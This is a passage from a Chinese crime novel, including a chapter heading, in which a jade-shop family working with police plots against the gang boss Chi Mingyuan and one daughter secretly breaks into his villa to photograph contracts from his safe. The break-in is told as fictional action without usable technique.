池明远当然想做生意。 他都把池昭“发配边疆”了,就是为了做成生意。 曼德笑道:“我建议你还是找华子,他做生意还算实诚,黑子有点儿黑历史。” 池明远很快跟上曼德的思路,“是不错,但有点儿问题。” “什么问题?” 池明远想到池昭,眉头紧蹙,“上次就是和华子做生意,货还没运过去就炸了,我担心……” 曼德意味深长地笑道:“那件事恐怕和小昭脱不开关系。” 池明远显然有些烦躁,“我是管不了他了,他有自己的想法,如果不是我提防着他,他恐怕连我都要踢出局。幸好我一直让祝江暗中汇报,但最近他似乎不太信任祝江,一直和更年轻的那位在一起……” 就连他的行迹,池明远都无法完全掌握。 池昭从帮他打理生意到现在,越来越脱离掌控。 所以池明远更喜欢池希,池希听话,没那么多想法。 “你们父子俩还是该好好谈谈,血浓于水,他还能真不认你这个爸不成?” 池明远冷冷笑着。 池昭的性格是最像他的,犟。 但又不是很像,他不会为了某一个人放弃大好的生活。 曼德试探道:“你们两人的心结,就是你前妻吧?你前妻是自己跑的,和你没关系,小昭聪明,知道该如何选择。” 人怎么会放弃荣华富贵,去选择一条布满荆棘的路? 和池明远作对,对池昭来说没有任何好处。 除非他更有野心,想取代池明远,但目前看来,池昭没有这样的想法。 池明远说:“我和他解释过无数次,如果管用,还用愁吗?我就怕这小子为了他妈要和我同归于尽……还是先把他的人慢慢撤出来。” 话虽这样说,实际做起来却很难。 池昭帮忙做生意太久了,久到池明远都分不清哪些是池昭的人,哪些是自己的人。 池昭身边永远只跟着一个边斌,不与任何人有过多亲近。导致池明远根本不知道其他人究竟向着哪一边,也不知道池昭到底有多少心腹。 仔细想想,好几年前起,池昭就有意避着他做事了。 当时池明远没放在心上,他不认为真的会有人不在乎钱。 现在池明远有些担忧了。 曼德说:“不管怎么说,我永远是你的伙伴,支持你的一切决定。你应该也是如此吧?” 池明远勉强笑笑。 “放心吧,就算你去长峡,我也会派人保护你,绝对不会让他们抓住你。说什么你一过去就会被逮捕,他们也得知道你过去才行,这次的生意,还要靠你多关照。咱们是否能发财,就看你了。而且你的宝贝儿子还在长峡,你不去把他接回来?” 池明远眼中闪过嫌弃。 他不知道自己怎么会生出池希这个蠢儿子。 理不清生意就罢了,偏偏还喜欢追着女生跑。 池明远问:“你去的玉石店,究竟是什么来头?” “来头可不小,”曼德微笑道,“我发现有很多人都听玉石店的人调遣,我替你查过了,玉石店里有五人,没有血缘关系,从明面上的资料来看,都是普通人。是一个惠姓女子收养了他们。至于小希喜欢的小女生,更查不到来历,才刚成年而已,都是华国人。” 池明远眉心不安地跳动着,“惠姓女子收养了他们?” 曼德点头,“她不像是普通人,但实在查不出什么,越是如此,我越担心。” 要么她真的没什么特别,要么就是她的势力过大,资料上也动过手脚,而且是连曼德都摆不平的手脚。 池明远的心越来越慌。 他好像身处看不见陆地的深海,四周没有任何可以依托的东西,他只能凭自己游向陆地,可不管往哪个方向游,不管游多久,看到的仍然是波涛汹涌的海。 池明远找出雪茄点上,良久心情才平复,他问:“惠海铭是吧,多大年纪?长什么模样?” “样子还真不知道,没找到她的照片,年纪嘛,和你差不多。” 池明远的心又是狠狠一坠。 “和我差不多?” 曼德肯定道:“据我所知,她和其他人都有年龄差距,年龄和你相仿,这没错。” 池明远闭上眼睛,曾经的战友举着匕首一个接一个地刺向他。 这是他多年来的噩梦。 但他不后悔当初的选择,他只恨自己居然让她逃了出去。 既然下手,就该灭得干干净净,不该让她逃走。 如果她死了,他也不至于躲躲藏藏到现在。 还有姜玉玲…… 池明远心中烦躁,用手掐灭烟,指肚火燎般的痛。 曼德最喜欢看池明远心慌。 他这位老朋友,实在不像是个正常人,连妻子、儿子都不放在心上。 如果不是考虑到自己的名声 ,他估计连老爹都不会放过。 不过心狠的人做生意的确能赚。 池明远道:“他们背后一定有其他人,要尽快查明白。” “我想过了,”曼德说,“他们都是华国人,背后无非是长峡那几位。” “华子和黑子?” “也有可能代表白道,但我不认为他们会用这种方法,所以华子和黑子的可能更大。”曼德指了指放在桌子上的小灵通,“我在监视这两人,华子频频和一个号码联系,尤其是在和你打过电话前后,我怀疑他有问题,但现在还没查到号码的主人,我需要派人去长峡确定信号塔的位置。” 池明远道:“这就只能靠你了,我在长峡无人可用。” 曼德一口应下,“这华子也不可靠,说不定上次的爆炸都是他的手笔,你也要多查查,小昭私底下是不是与他有联系。” 送走曼德,池明远疲惫地坐下。 他人已经到龙星岗,离长峡只有一步之遥。 越靠近长峡,他越不安。 但和长峡的生意,的确能让他大赚一笔。 池明远现在的财产,一辈子都花不完。 可谁会嫌钱多? 让池明远苦恼的不是生意,他不能去长峡,就请长峡的华子过来。 他愁的是…… 池明远打开保险箱。 他在龙星岗也有私人别墅,保险箱里放着他的宝贝,他总是会随身携带。 除此之外,还有一个信封。 池明远打开信封,拿出叠好的纸,拧眉看着。 如果不回华国,这恐怕就是一张废纸了。 * 吴元青毕竟曾是华国的警察,他去龙星岗也是申请过的,完全是为了找女儿。 他去了长峡的警局,和段浩联系上,打听华哥和黑哥的消息。 提到二人,段浩有些苦恼,“这两个人很鬼,做事不留痕迹,我们想对付他们很久了,每次要有行动,他们都会撤走,真不知道是从哪里得到的消息。我个人看来,是真担心这两伙人起大冲突。” 吴元青若有所思道:“他们应该很需要那方面的东西吧?” 吴元青瞥了眼段浩腰间。 段浩点头,“最怕的就是这一点,如果伤到无辜的人就糟了,必须杜绝这种情况。” 吴元青循循善诱,“他们想搞这些,估摸着会和宁蓝那边合作,那边乱得很,和咱们国家不一样。” “你的意思是……” 吴元青问:“他们的人最近有往宁蓝国去吗?” 段浩立刻拿起话筒,询问二人的出关记录。 黑哥倒是很安静,老老实实待在家里,但是华哥…… 段浩听到汇报后,深吸口气,他挂断电话,凝眸看着吴元青,“就在刚刚,华子去龙星岗了。” 他身上干净得很,无犯罪记录,没办法卡着他不让走。 吴元青道:“我曾在龙星岗拦截过一辆货车,里面装的都是华子需要的东西,只不过在路上提前炸了。” “你的意思是,他们那会儿就开始做生意了?” 吴元青点头,“这次又去谈话,只怕会更顺利。” 段浩猛地站起来,“我现在就去通知其他人,必须把货物拦住!绝对不能让他们运进长峡!” 话虽如此,段浩的人却不方便在龙星岗行动。 他找了几个在龙星岗的眼线去打探,眼线跟到一半便失去目标,只知道他们是往别墅区去的,那边住的都是龙星岗的有钱人。 吴元青把消息带到玉石店。 张淼在楼下看店,其他人在楼上开会。 桑白玉和宁红英给所有人倒茶水。 池希很不安分,“小玉啊,这茶叶不太好,能不能换其他茶叶?实在不行我出钱你去买点儿,咱不能连喝茶都喝不好的茶叶啊。” 桑白玉说:“你要认清自己的身份,你现在是人质。” 池希:“……” 他摸了摸口袋里的小灵通。 距池希给池明远发消息已经过去两日,池明远毫无动静。 池希忍不住想,池明远是不是真的不在意他的安危? 不会啊,他爸对他很好呢,他们一直很亲密。 方小满把唠叨的池希拎走。 池希主动上交小灵通,“你们还是收走吧,我怕我忍不住给我爸打电话。” “怎么会,”方小满一脸很懂池希的表情,“你现在比我们更希望你爸能过来,我们完全相信你。” 池希:“……” 已经被人家看透了。 池希走后,吴元青又把情况说了一遍。 惠海铭道:“他们的行为的确可疑,可能是要把从前的生意捡起来了。” “绝对不能让他们得逞,”吴元青说,“这些人手里拿着家伙,会更无法无天,普通老百姓的安危没办法得到保障。” 惠海铭惋惜道:“我已经找人去打探池明远在龙星岗的住处,很可惜,他的防备心很强,没能找到他。” 宁红英问:“华子是去龙星岗找池明远了?” 惠海铭点头。 几人开始商量如何在长峡这边拦住华子。 方小满越听越觉得奇怪。 她偷偷凑到桑白玉身边,低声道:“我以前听大姐说起过这件事,我以为大姐会有应对办法,现在听起来,咱们好像失败了?” 桑白玉想到惠海铭方才的神色,没多解释。 方小满叹气,“小玉也有事情瞒着我了,全家人都瞒着我,唉。” 她坐在楼梯上愁眉苦脸,“为什么只瞒着我呢?为什么是我?” 桑白玉贴心安慰道:“小满姐姐,其实大姐也没和我说过。” “可你每次都知道!什么都知道!为什么!” 桑白玉摸了摸自己的头。 方小满:“不准说你聪明!!” 桑白玉:“……” 可她真的是自己想的。 桑白玉只好说:“对我们而言,最重要的事情就是让池明远进入华国境内,否则我们没有理由抓捕他,就算抓住,也没办法通过正当程序让他伏法,我想利用生意引诱他,是一个办法。” “再就是……”桑白玉看向池希临时休息的房间,他一直和苏蓝移一起睡,“我原本以为池明远多少会顾念池希,可他明明知道池希的处境,却没有任何表示。” 这人实在太狠,而且没有软肋。 他或许喜欢池希,但与他自己的安危相比,池希实在是微不足道。 惠海铭推门走了出来。 她瞟了一眼方小满,道:“你回屋里待一会儿。” 方小满抱怨道:“又不能告诉我?啥事都不告诉我,太过分了。” 她不情不愿地去了惠海铭的房间,其他几个房间都有人。 方小满走后,惠海铭才递给桑白玉一个小灵通号码,又交给她一个小灵通。 桑白玉问:“要和他联系?” 惠海铭点头,“之前一直是我和他联系,已经准备好了。这个号码能查到你,池希的事,总得给池明远一个说法,让他知道他的敌人是谁。” 桑白玉接过小灵通,点开通讯录。 通讯录里只有一个人,华哥。 桑白玉不动声色道:“他是我们的人?” “不算是,只是因为某些利益,暂时与我们合作,我们也许了他不少好处,比如他从前做的事情可以一笔勾销。”惠海铭说,“我们几个人无依无靠,凭空出现,会引起池明远的怀疑。华哥是个好靠山,只要让池明远知道,这些事都是华哥做的就够了。” “可是吴叔叔说池家要和华哥做生意……” 惠海铭微笑道:“他还有第二人选。” * 惠海铭才搬回来没多久,房间内的东西不多。 她喜欢七八十年代的装修风格,用的是深红色的铁皮暖壶,在方小满看来实在老掉牙,但惠海铭就喜欢这些。 她是个念旧的人。 方小满百无聊赖地躺在床上,刚躺下,又想起惠海铭有洁癖,总是让她脱下外套和裤子才允许她上床。 方小满从床上跳起来,继续唉声叹气。 怎么就只瞒着她呢? 小玉明明比她来得很晚。 而且其他人来到玉石店时,都好几岁了,只有她,从小就跟着惠海铭! 这可真的是一把屎一把尿拉扯大的! 方小满忽然愣住。 对哦,其他人都是惠海铭收养的,加入他们的小家庭时都好几岁了,像桑白玉,她十三岁才来。 为什么方小满从小就在这里? 难道…… 她是惠海铭的私生女?!! 哦不,她大姐对男人不感兴趣,甚至想把他们全部灭口。 方小满 越想越觉得奇怪。 她怎么会一出生就在这里呢? 方小满看到桌子上堆放的纸箱子,想到惠海铭从不让她碰的抽屉。 惠海铭的抽屉里总是放满文件,有一次宁红英打开抽屉,惠海铭没什么反应,方小满也跑去看,她却立刻制止。 抽屉里有什么是她不能看的? 强烈的逆反心让方小满走到纸箱前。 纸箱没办法上锁,惠海铭还没来得及整理。 她打开纸箱,仔细查看每一份文件。 文件里有惠海铭几人的假身份,是对外公开使用的。 还有她们的真实身份,这份文件是绝密。 桑白玉的档案几乎是空白的,没人知道她是从哪里来的。 这里面唯独没有方小满的档案。 方小满很不解。 大姐行事谨慎,收养她时一定会调查她的身世,就算她真的是被人随手扔下的,也一定会记录被抛弃的地点。 只有一个解释,她有档案,但在其他地方。 方小满拧眉翻找起来。 她看到更多的文件,大部分都是惠海铭对池明远的调查。 这些文件在龙星岗时都是被锁起来放进保险柜的,长峡是他们的地盘,不需要那么小心,惠海铭还没来得及整理。 两个箱子都翻遍了,也没找到方小满的档案。 方小满的目光落在书桌的抽屉上。 抽屉是上锁的。 临时搬过来,来不及整理其他文件,也要给抽屉上锁? 方小满看着抽屉良久。 这种锁对她而言实在算不上什么。 但打开它,就意味着违抗了大姐的话。 可…… 方小满找到自制的□□,看了眼房门,然后毫不犹豫地打开抽屉。 里面果然也有文件。 放在最上面的三份文件与池明远的生意有关,这三份文件利用到位,可以让池明远的生意垮掉五分之一。 对池明远来说,已经要命了。 最下面是文件袋。 方小满拿起文件袋,取出里面的文件。 文件内容全部手写,最上方是方小满的名字。 但很奇怪,下面只有几个联系方式和地址,不知是什么意思。 方小满很确定,她从没有和这几人联系过。 为什么联系方式会写在她的名字下方? 从她名字的位置来看,这几人明显和她有关系。 方小满拿出小灵通,拨通了第一个电话。 * 桑白玉办事稳妥,惠海铭很放心。 但同时,她也会担心桑白玉的安全。 惠海铭说:“我犹豫过要不要给你联系方式,虽然这是在长峡,但还是有危险。” 桑白玉道:“我明白的,我也想为大家做点儿事。不过大姐,你还有其他事要做吗?” 按照惠海铭的性子,她应该会自己和内线联系。 惠海铭轻声道:“我和你二哥打算回龙星岗。” “回去?!”桑白玉急道,“现在池明远就在龙星岗,那位什么将军的人也在,他们肯定已经查到我们了,你们现在回去很危险!” 惠海铭坚决道:“但没人知道这个方法究竟能不能把池明远引过来,如果不能,我必须亲手解决他。我和你二哥,对他有血海深仇,我绝对不会放过他。红英虽然稳重,但头脑没有你灵活,我和蓝移离开后,必须有人能撑住场子。” 桑白玉发现惠海铭没考虑过方小满。 她点点头,“我都明白的。” 惠海铭仍然无法放下心来。 她把桑白玉牵扯进来,实在是自私。 这孩子乖巧懂事,偏偏拥有这样的能力,她的生活注定无法平静。 桑白玉的小灵通响起来,居然是池昭的号码。 她犹豫片刻才接起电话,听筒里传来池昭的声音。 桑白玉放下心来,问:“你回长峡了?” 池昭“嗯”了一声,“有几人在玉石店附近徘徊,你们当心。” 桑白玉走到走廊窗前向下看,“这是你的铺子。” 池昭道:“现在是你的。” 桑白玉很满意。 铺子将来也很值钱呢! 池昭声音带着笑意,“可以说正事了吗?” 桑白玉:“你请。” 池昭道:“池明远现在有意将我隔开,他是下定决心要和长峡做生意,估计最近就会签合同。签合同的事估计无法让他去长峡。” 桑白玉评价道:“你坑起你爸来真是不留余力。” “如果你的母亲因为你的父亲失踪甚至死亡,你就会知道,这不只是坑那么简单,你不用试探我,我不会对你撒谎。”池昭三言两语解释完,接着说道,“不过我清算了他的财产,发现一点儿小问题。” 桑白玉安静听着。 池昭道:“他喜欢收藏古董,他拥有的所有古董都列了单子,有几样值钱的小玩意,我从未见过,都是华国的。” 桑白玉问:“你的意思是,他还有财产在国内?” “是一笔不小的财产,”池昭说,“我核对了他所有财产,总数对不上,有一部分是在国内的。我仔细查过,他在国内没有生意,可能是从前留下的,留了很多年。他不见得会为了签合同去长峡,但这笔钱对他来说很重要,尤其是那几样小玩意。” 第64章 桑白玉把池昭的话转告给惠海铭。 惠海铭思忖片刻,道:“先按计划行事。” 宁红英从房间里走出来,“大姐,看到小满了吗?” 惠海铭说:“她去我的房间了。” “没有啊,”宁红英疑惑道,“我刚刚去过你的房间,没看到她。” 惠海铭微怔。 桑白玉立刻走向惠海铭的房间。 方才她和惠海铭一直站在楼梯口,方小满不可能通过楼梯离开,她只可能走窗户。 若是走窗户,情况就不太对了。 惠海铭的房间果然空无一人。 桑白玉和宁红英迅速检查起房间来。 宁红英查脚印,桑白玉走到窗边,沉声道:“没有外人进来。” 宁红英给出相同的答案,“小满是自己走的。” 惠海铭一时疑惑,“她为什么要走?生气了?” 因为她把任务交给桑白玉,没有交给她? 宁红英道:“大姐,其实小满挺敏感的,她只是表面上大大咧咧。” 惠海铭拧眉。 敏感不是她突然离开的理由。 惠海铭扫了房间一眼。 房间似乎和她离开时不一样了,但打眼一看好像瞧不出什么。 惠海铭快步走到纸箱前,这些文件她还没来得及收拾,没有被翻过的迹象。 但方小满可是她教出来的,就算她翻过了,也能复原。 如果方小满看到文件,尤其是抽屉里的文件…… 惠海铭敲了敲抽屉,“小玉,小满开过抽屉吗?” 桑白玉走了过来,给出肯定的答案,“有她的气味,她在书桌前停留了很久。” “箱子里有什么?”宁红英好奇道,“不都是和池明远有关的档案文件吗?” 他们要查池明远不是一天两天的了,这些事方小满都知道,没道理突然一声不响地离开。 惠海铭没说什么,她掏出钥匙打开抽屉,拿出属于方小满的那份档案。 这份档案她不该留的,但她担心丢了他们的联系方式。 丢了其实也不要紧,但她总想着要给方小满留下些什么。 万一有一天她知道了…… 惠海铭没想到这一天来得那么快。 她挨个拨打起电话来。 很快,惠海铭说:“小满和她通过电话了,她都知道了。” 桑白玉茫然地看着惠海铭。 宁红英沉默不语。 事到如今不需要再瞒着,惠海铭叹口气,说:“我和你们说过,我的几个战友被池明远害死了,我留在龙星岗,就是为了扳倒池明远,给他们报仇。” 桑白玉说:“这我记得。” 惠海铭道:“其实小满不是孤儿,她是我战友的孩子。” 惠海铭是被战友保住的, 她捡回一条命,回到部队,得知其中一人的妻子已经怀孕,而且就快临盆了。 丈夫的死讯让女人动了胎气,她伤心过度,身体险些垮掉,不适合再照顾孩子。 至于战友的父母,年纪也都大了,没有照顾新生儿的精力。 惠海铭索性提出帮忙照料方小满。 这些年惠海铭一直在和方小满的母亲联系。 她多次劝说对方来见方小满,毕竟对方当年放弃方小满是身体的原因。 但她不愿意。 她认为自己对不起方小满,不能来破坏她现在的生活。 跟着惠海铭,起码在钱的问题上不用愁。 而她,只能过穷困潦倒的日子。 “这些电话和住址都是小满的亲人的,现在和我联系的只有小满的妈妈和奶奶。但其他人的地址我也不想弄丢,你们知道的,他们一旦搬家了,就很难再找到。” 桑白玉大概能理解惠海铭为什么总是不想让方小满插手这些事了。 方小满是她最担心的人,远远超过其他人。 桑白玉问:“为什么不告诉小满姐姐真相呢?” 惠海铭道:“活在仇恨里是很痛苦的,比如我,比如蓝移。每次闭上眼睛,我都能看到断胳膊断腿的他们爬向我,每次想到池明远还好端端地活着,我的心都像被一万只蚂蚁啃噬,我实在无法告诉她真相。” 宁红英轻声安慰,“大姐,小满很勇敢的,她不是普通人,当务之急是找到小满。” “她会去哪儿?” 桑白玉沉思半晌,蹦出几个字,“龙星岗。” 惠海铭和宁红英同时愣住。 桑白玉说:“她也会想杀了他,一定很想。” * 晚上海关不开门,无法通过正常途径过关。 幸好现在还有非正常的出入口。 只可惜时间太晚,方小满来不及租出租车,只能骑摩托车去龙星岗。 摩托车的声音太大,尤其在夜间,格外刺耳。 方小满到了龙星岗,先把摩托车藏起来。 她又翻出龙星岗市的地图。 方小满在这里生活多年,可以说是了解这里的每一寸土地。 她知道哪里是有钱人会住的地方。 但池明远的家,肯定不是普通的有钱,极有可能不会出现在地图上。 来之前方小满已经有了规划。 她放好摩托车后便往别墅区走。 池明远的家不太可能是在这些普通别墅中,她的目标是这座山头后。 曾经动过工,又不知道是什么建筑的地方。 在惠海铭的资料里,也有对这里的记录。 她还派人来查探过,探子的回应是,这里有很多人把守。 方小满借着月光翻过山头。 下山是一条平坦的小路,山下便是方小满的目标,一栋带有很大院子的别墅,或者也可以被称为庄园,它的院子实在太大了。 方小满在心里嘀咕了两句。 别墅建在这里,光想赏景了吧?一点儿都不怕危险。 不过这山倒是挺难爬的,上山时没有路,还很陡峭,一般人不会上山。 但池明远得罪的是一般人吗? 这就叫心里没数。 方小满将自己隐藏起来,沿着间隔不远的树往前走。 她很快看到守卫。 平时有桑白玉在,方小满几乎不用动脑思考,只要跟着桑白玉就好。 这不代表她没有能力,类似的训练每天都在进行。 方小满悄无声息地靠近别墅。 她也能选择一条没有守卫的路,还能顺便观察附近是否有监控设备,虽然现在监控设备并不普及,但池明远肯定能搞到。 翻进别墅用了十五分钟。 但好歹安全进来了。 方小满来不及喘口气,摸到最近房间的门前。 她先贴在门上听里面的气息,判断是否有人。 确认无人后,方小满才轻轻推开门,此过程没有发出一点儿声音。 这间房子是卧室,无人打扫,已经落满灰尘。 嗯,有钱人都抠,连打扫的钱都不舍得出。 方小满看到第一个房间的状态,心里有了数,接下来就不是每一个房间都检查了。 她会先观察地面,根据灰尘判断状态。 整个一楼都不像是有人的样子。 方小满爬上二楼。 二楼的状态比一楼好得多,方小满甚至看到洗手间的灯还没熄灭。 有两个房间门前最为干净,而且地毯绒毛东倒西歪,一看便是经常被人踩踏。 方小满判断,这两个房间,一个是卧室,一个是类似书房的地方。 她悄声移动到房间门口,听到微弱的喘息声。 应该是池明远,从喘息的频率判断,他已经睡下了。 方小满走向另一个房间。 如她所料,是书房,还有会客用的沙发。 方小满关好门,先走向茶几。 茶几上有两个杯子,还没收下去,方小满下意识取证。 现在验DNA的方法很多。 取完证,方小满又走向办公桌。 池明远虽然是临时赶到龙星岗,但凭他的性格,一定会带来很多东西,他不放心把它们交给任何人。 他连同床共枕的妻子都不信任。 想到此,方小满直奔保险箱之类的地方去。 先找证据,再把池明远打晕带回去,如果还是不行,干脆就把他杀了,给她父亲报仇! 方小满想到方才打的那通电话。 她称自己是惠海铭,对方便迫不及待地问起“方小满”的近况,方小满意识到,对方可能是她的母亲。 其实方小满没有太多证据,对方最开始也没有说什么。 这只是一种感觉,听到声音便觉得亲切的感觉。 方小满第一次可以叫“妈妈”。 对方明显慌了,挂了电话。 没过多久,她又打了过来,颤声询问方小满是不是都知道了。 从她口中,方小满得知自己不是孤儿。 方小满的父亲是英雄,牺牲了,是大姐的战友,被池明远害死了。 方小满得替父亲报仇。 想到此,她的眼神愈发坚定,先检测池明远存放重要文件的地方是否有其他仪器,再挨个翻找。 办公桌下还有一个保险柜,方小满带了听诊器来,但打开还是需要时间。 她先看过其他文件,最后才盯上保险柜。 方小满摆弄一番,松口气。 还好是机械式的。 方小满开始尝试解锁。 有听诊器在,找到密码倒是很容易,但还需要钥匙。 书房里没有钥匙,她的运气不如池昭好。 池明远性格谨慎,他应该会随身携带钥匙。 方小满离开书房,向池明远的卧室走去。 她在门口停留好一会儿,直接把听诊器放到门上,判断里面的情况。 可惜桑白玉不在,如果她在,就会直接告诉方小满里面有几个人,甚至能说出他们在做什么。 这种能力可遇不可求。 方小满确认池明远已经睡下。 她试图打开卧室的门,但卧室门和书房门一样,都上了锁。 方小满用铁丝把锁勾开,这种锁和保险柜相比实在不算什么。 卧室内漆黑一片。 厚重的窗帘拉得很紧,方小满先将卧室门关上,停留一会儿,才适应黑暗。 床上躺着一个人,背对方小满,方小满先走向搭在小沙发上的衣服,没发现钥匙。 方小满又看向床铺,在池明远的枕头下方似乎有一串亮晶晶的东西。 方小满低声咒骂了一句。 居然把钥匙放在枕头底下,是真的怕丢! 她蹑手蹑脚走过去,过程中没有发出一点儿声音。 取钥匙还是太危险,虽然现在池明远没有压住钥匙,但一旦拿起钥匙,就会发出声音。 方小满盯着池明远的侧脸看了一会儿。 他虽然已经是两个孩子的父亲,比方小满大一辈,可一点儿都看不出来。 金钱也能养人,他保养得很好。 有那么一瞬间,方小满有直接杀了他的冲动。 这样一个罪大恶极的人,还需要正义的审判?直接杀了他,比什么都快。 但方小满知道,大姐她们不能接受直接动手杀人,否则他们早就付诸行动了。 方小满小心翼翼地取钥匙。 她不知道保险柜的钥匙是哪一个,只能全都拿走。 池明远睡眠浅,方小满只是不小心弄出一点动静,池明远便翻了个身。 她惊得不敢动,全身发麻,好在池明远很快又睡着了。 听到池明远均匀的呼吸声,方小满才松口气。 她拿着钥匙退出卧室。 钥匙总共有10把,有两把似乎是车钥匙。 方小满挨个去试。 试到第五把时,她把保险柜的门打开了。 里面放的都是值钱的东西,是池明远的大部分财产,还有一些重要的合同。 方小满翻来翻去,也没找到什么关键证物,很是无语。 哪有人出趟差连家都要搬走啊,这个池明远是真爱财如命。 他都多有钱了?就算后半辈子每天的任务只有花钱,也挥霍不完。 方小满拿出微型胶片相机。 手动打了个光,然后把合同全部拍了一遍。 这些合同里说不定就有池明远的罪证。 做完这些,方小满把保险柜复原。 包括里面的文件,都是按照原来的顺序放进去的。 甚至是那根头发。 方小满打量起书房来。 还是不太对,她应该还没找全。 池明远来龙星岗是要做生意的,怎么没有这份合同? 难道他很相信华哥,相信到不需要合同来束缚? 不能啊,刚才拍到的合同里,有几份也是黑色产业链呢。 方小满再次起身搜起来。 她不敢发出太大声音,轻轻拍打书架,试图找到藏文件的地方。 她找了整整十分钟,却一无所获。 方小满疲倦地走到窗户旁,扶着柜子休息。 精神一直高度紧张,她实在是有些累了。 方小满随意拉开抽屉。 只用一眼,她就发现抽屉不该是这个深度。 从外观看,抽屉应该更深一些。 方小满挑眉。 华国古代的家具都有夹层,部分夹层做得很精妙,根本看不出来。 看来池明远也很喜欢研究古代家具,而且很信任它,居然都没给抽屉上锁。 找到夹层的开关比打开保险柜容易得多,方小满轻轻松松打开夹层,果然又看到几份文件。 有几张合同,还没有签字盖章,从内容看,就是他要和华哥做的生意。 还有一个小且坚硬的金属盒子,用的是密码锁,密码锁小巧精致。 方小满拍完合同后,所有注意力都集中在密码锁上。 别看密码锁不大,解起来却比保险柜的锁还要费劲。 这不是数字密码锁,密码是宁蓝国的文字。 方小满试了十分钟都没能解开。 在别墅耽误太久很危险,方小满有点儿着急。 就在这时,方小满听到极轻微的窸窣声。 桑白玉的嗅觉好,她的听觉也不错。 这是有保镖发现她了? 天色太暗,拍照取证时她不得不用灯光,若有人从窗外观察,很容易被发现。 方小满立刻把抽屉复原,想来想去,还是没舍得把金属盒子放回去。 拿回去想想办法,说不定能直接打开。 但如果拿走,池明远就会发现今天有人来过别墅。 方小满正陷入两难,忽然听到熟悉的鸟鸣声。 只有两声便停下了,而且声音很小。 方小满怔住,接着极大地松了口气。 她走到窗前,向下看去,没一会儿,桑白玉推开书房门走了进来。 方小满用手势和她比画,询问她是如何找来的。 桑白玉很无奈。 她倒是把摩托车藏得好一些! 还有这一路留下来的痕迹,全都没处理! 方小满把金属盒子递给桑白玉。 桑白玉粗略一看,用手势比画道:“这不是宁蓝国的文字。” 方小满:“?” “是塔因国的文字,我来试试。” 经常使用的密码文字留下的气息会浓郁一些。 不出一分钟,桑白玉便判断出密码文字,锁开了。 方小满:“……” 既生瑜何生亮,她已经够厉害了,为什么还会有桑白玉这种人!! 这是开挂,绝对是开挂,是不公平的!! 方小满掩面痛哭。 让二人惊讶的是,金属盒子藏得如此隐蔽,里面居然只有一串电话号码和几个不知含义的文字。 春宇368号 桑白玉翻来覆去地检查好几遍,确认这不是特殊处理过的纸,没有其他内容。 就在此时,桑白玉嗅到不安稳的气息波动。 她立刻把纸条放回去,擦去所有指纹,处理现场。 方小满知道是有人快来了,没有多问,也帮着一起收拾。 将一切恢复到原状,桑白玉指了指原本就没上锁的窗户,二人从窗户离开,平稳落地。 桑白玉将方小满带出庄园。 与此同时,二楼书房的灯亮了,有人在书房内走来走去,但什么都没发现。 桑白玉和方小满一起下山找到摩托车,直到回到长峡,方小满松口气,把微型胶片相机递给桑白玉。 明天把照片洗出来,她们就又多了很多证据。 只是金属盒子里的纸条,桑白玉实在想不通到底有何含义。 那串数字是国内的号码,桑白玉忽然想到,池昭刚说过,池明远应该还有东西留在国内。 * 曼德一早又赶到池明远的别墅。 他眼睛猩红,抱怨道:“我昨天忙了一夜,什么急事非要我现在过来?” 池明远紧紧蹙眉,手搭在扶手上,不安地敲打。 “我还是不能放心,”池明远道,“总觉得有什么人在监视我。” “监视你?你知道这里有多少人保护你吗?”曼德看到池明远小心谨慎的样子,气不打一处来,“你这里的人,甚至比我的人都多!谁能越过这么多人来监视你?!” 池明远闭上眼睛,疲惫道:“我就是觉得好像有人在,比如昨天,总觉得有人闯了进来。” 曼德笑容古怪,“你恐怕是亏心事做多了,华国有句话,不做亏心事不怕鬼敲门,你是担心有人来找你复仇吧?” 池明远烦躁地看向曼德,“惠海铭的身份查出来了吗?” 曼德耸肩,“她已经去长峡了。” “那就更不对了,”池明远笃定道,“说不定就是她!” 曼德像是在听笑话。 他笑了一会儿,不想和池明远继续争论,便问道:“今天要和华子见面,你没忘吧?都准备好了?” 池明远冷着脸说:“你不要总认为是我杞人忧天,就怕哪天我真死了,你就再也赚不到钱了。” “知道了,知道了!”曼德抬高声音,“我派人来保护你!能说说生意的事了吗?!” 池明远这才不情愿地说道:“准备好了,这次我要先看到钱,上次我可损失不少。而且我人都来了,就不能做小生意,你转告他,如果订的货不多,我没兴趣见他。” 曼德微笑道:“放心,早就说过了,华子和黑子积怨已久,他需要很多货,他有钱,愿意收。” 池明远点头,“那就好。” 池明远起身,“就今晚吧,让他过来。” 曼德问:“电话的事……” 池明远神色晦暗不明,“先让他过来。” * 华子全名朱安华,在长峡混了很久了,偶尔也来龙星岗。 龙星岗是池家的地盘,朱安华不可避免地要与池明远打交道,只不过以前他面对的人是池昭。 仔细说起来,这还是朱安华第一次和池明远碰面。 他带着一众小弟来到龙星岗。 他手底下这 帮人都是粗人,没什么文化,他们脸上全是对货物的向往,没有担心。 “这次终于能教训他们了,那黑子是什么来路,能和咱们大哥比吗?居然也猖狂起来了。” “我一定要把他们全都灭了!” “呸呸呸,这话能随便说吗?注意影响!” 朱安华盯着眼前的酒店,一言不发。 这一上楼,可就不知道能不能保住这条命了。 片刻,朱安华挤出笑容,往楼上走去。 酒店不是池明远的产业,但朱安华还是提前做了安排,一旦出现意外,他要保证自己能全身而退。 相信池明远也不是傻子,不会和他起冲突。 三楼的会议室,朱安华笑容满面地走进去,“池总,池老板!终于见到你本人了!气质非凡啊!” 池明远和曼德已经坐下,两人脸上浮现出淡淡的笑容,都没有回应朱安华。 朱安华尴尬地收回手。 小弟们瞬间不乐意了,一个个摩拳擦掌,像是要和他们打一架。 朱安华呵斥道:“别胡闹!” 虽然是呵斥,语气中却没有多少责怪的意思。 朱安华坐下,客气道:“二位,生意还谈吗?” “谈,当然谈,”曼德用蹩脚的华语说道,“但是谈之前,我们还有点儿小事要和华哥商量。” 朱安华扬眉。 曼德微笑道:“最近和你频繁联系的人是谁啊?” 朱安华心一紧,“你说什么?” “那个号码,好像和玉石店有关,那几人是你的人?” 朱安华的心狂跳起来,“我听不懂。” “那就是不想认账了,”曼德道,“看来华哥还有更大的野心,不只是想做掉黑子,你派他们去做什么了?监视我们?还是有其他企图?想取代我们?惦记龙星岗的生意了?” 朱安华竭力保持镇定,“你们如果说这话,就太过分了,和我频繁联系的人能是谁,我老婆?我人都来了,你们还担心什么?钱我也带来了!” 池明远面无表情地看着朱安华。 朱安华被迫与池明远对视。 强大的压力下,他不自在地转移目光。 就是在这一瞬间,池明远给手底下人打了手势。 朱安华听到不寻常的声音,立刻起身,身后的小弟们也涌了上去。 